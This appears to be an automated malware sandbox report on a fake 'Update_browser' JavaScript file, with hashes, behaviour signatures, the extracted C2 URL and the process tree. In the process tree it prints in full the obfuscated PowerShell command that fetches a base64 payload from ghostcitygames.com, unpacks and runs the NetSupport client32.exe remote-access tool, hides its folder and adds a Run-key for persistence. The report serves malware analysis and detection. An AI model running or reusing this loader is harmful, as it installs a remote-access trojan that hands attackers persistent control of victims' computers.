Analysis
-
max time kernel
629s -
max time network
1193s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
29-01-2024 17:44
Static task
static1
Behavioral task
behavioral1
Sample
Update_browser_17.6436.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
Update_browser_17.6436.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Update_browser_17.6436.js
Resource
win11-20231222-en
General
-
Target
Update_browser_17.6436.js
-
Size
434KB
-
MD5
3e2fdaa39431f19d92dc3e4de776593d
-
SHA1
3255b30e085afa114e2a5b0cf9419d1487059ca8
-
SHA256
41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
-
SHA512
766ebbd8a92d605e04d9ab02ac6c9299bfdbc8eae73c5346510b79e600966d85b3f70a0c8fcbdc52583353e8c4a982c74450a55e9d0992deaa1f2d19cea8baf3
-
SSDEEP
6144:g+IrEhFgMczj0aw0810VLuqjHFPm4HQQuZ2Ozr:gqkdj8gY4HQJ2O3
Malware Config
Extracted
https://ghostcitygames.com/data.php?5488
https://ghostcitygames.com/data.php?5488
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 2 3164 wscript.exe 5 2596 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 4576 client32.exe -
Loads dropped DLL 6 IoCs
Processes:
client32.exepid process 4576 client32.exe 4576 client32.exe 4576 client32.exe 4576 client32.exe 4576 client32.exe 4576 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-721438792-2341338383-2410509276-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX576\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2596 powershell.exe 2596 powershell.exe 2596 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 2596 powershell.exe Token: SeSecurityPrivilege 4576 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 4576 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 3164 wrote to memory of 2596 3164 wscript.exe powershell.exe PID 3164 wrote to memory of 2596 3164 wscript.exe powershell.exe PID 2596 wrote to memory of 4576 2596 powershell.exe client32.exe PID 2596 wrote to memory of 4576 2596 powershell.exe client32.exe PID 2596 wrote to memory of 4576 2596 powershell.exe client32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $PjcmWSnsXSDEwbBRuAogQ='https://ghostcitygames.com/data.php?5488';$UEkhXuQbhRYarB=(New-Object System.Net.WebClient).DownloadString($PjcmWSnsXSDEwbBRuAogQ);$fjhFqDfAWAlrzhAXmFluccfozzC=[System.Convert]::FromBase64String($UEkhXuQbhRYarB);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $tArSLttfspgESeJzarJcrgtXTFrBtFpuk=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -PathType Container)) { New-Item -Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -ItemType Directory };$p=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'lol.zip';[System.IO.File]::WriteAllBytes($p,$fjhFqDfAWAlrzhAXmFluccfozzC);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$tArSLttfspgESeJzarJcrgtXTFrBtFpuk)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -Force; $FSDFSSD.attributes='Hidden';$s=$tArSLttfspgESeJzarJcrgtXTFrBtFpuk+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4576
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
-
Filesize
1.6MB
MD5d61b730abb9dfcbae47a97e7b6d67976
SHA1d2b496cde1a68599c92298fb3949ca88c319bfc8
SHA256145eecb6b5d44c35dcfe511f5f4e443462ae2ed97569e554d022b7b02bf20d15
SHA512bf6e9878a3b05be503d054cff5c972570f6d0e8d6cf62dac48beeb52fdb37ea48f70ce9f28ee3906206b98ca4c5e3c6703a098542ea11033e8df0aa4e0415c7c
-
Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
-
Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
-
Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
-
Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
Filesize
1.6MB
MD5624ca1c1ce95aff868c1e3b3ed37c844
SHA1f7e23eade16e148f5656bd4c6c2fcd2a1d31971f
SHA25691c9fed857e3600227a5fc953bd5c2e8b8f515bef38309dffa8c9960c14c0c22
SHA51294538a6982b8d792f440899f6c4a9ba60f7e8cd90be66159ca1b35aadcb378e8098ef837c7aade09c10505e507e55ae029a642197d5e76c33b648427682924a3